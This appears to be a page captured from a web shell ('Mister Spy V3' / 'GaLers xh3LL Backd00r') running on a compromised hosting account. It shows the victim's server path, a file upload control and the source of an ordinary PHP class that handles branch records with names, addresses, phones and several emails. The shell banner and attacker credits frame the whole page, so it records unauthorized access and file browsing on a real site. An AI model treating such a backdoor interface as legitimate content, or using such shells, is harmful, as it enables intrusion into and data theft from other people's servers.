Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.filial.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.page.php');
require_once('class.provincias.php');
require_once('class.localidades.php');
require_once('class.filialesestados.php');

class Filial
{
	public $IdFilial;
	public $Nombre;
	public $IdProvincia;
	public $IdLocalidad;
	public $Direccion;
	public $Ubicacion;
	public $Email;
	public $Email2;
	public $Email3;
	public $Email4;
	public $Aclaraciones;
	public $SitioWeb;
	public $Telefono;
	public $Destacada;
	public $IdEstado;
	public $Provincia;
	public $Localidad;
	public $Estado;
	public $Emails;
	

	public function ParseFromArray(array $arr)
	{
		$this->IdFilial		= $arr['IdFilial'];
		$this->Nombre		= stripslashes($arr['Nombre']);
		$this->IdProvincia	= $arr['IdProvincia'];
		$this->IdLocalidad	= $arr['IdLocalidad'];
		$this->Direccion	= stripslashes($arr['Direccion']);
		$this->Email		= stripslashes($arr['Email']);
		$this->Email2		= stripslashes($arr['Email2']);
		$this->Email3		= stripslashes($arr['Email3']);
		$this->Email4		= stripslashes($arr['Email4']);
		$this->Aclaraciones	= stripslashes($arr['Aclaraciones']);
		$this->SitioWeb		= stripslashes($arr['SitioWeb']);
		$this->Telefono		= stripslashes($arr['Telefono']);
		$this->Destacada	= $arr['Destacada'];
		$this->IdEstado		= $arr['IdEstado'];
		$this->Estado		= FilialesEstados::GetById($arr['IdEstado']);;
		
		$oProvincias	= new Provincias();
		$this->Provincia	= $oProvincias->GetById($this->IdProvincia);
		$oLocalidades	= new Localidades();
		$this->Localidad	= $oLocalidades->GetById($this->IdLocalidad);
		
		$this->Ubicacion 	= utf8_encode($this->Provincia->Nombre) . ', ' . utf8_encode($this->Localidad->Nombre) . ' - ' . stripslashes($arr['Direccion']);
		$this->Emails 		= $this->getEmailArray();
		
	}
	
	public function getEmailArray()
	{
		$arrEmail = array();
		if ($this->Email)
			array_push($arrEmail, $this->Email);
		if ($this->Email2)
			array_push($arrEmail, $this->Email2);
		if ($this->Email3)
			array_push($arrEmail, $this->Email3);
		if ($this->Email4)
			array_push($arrEmail, $this->Email4);
		return $arrEmail;
	}
	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat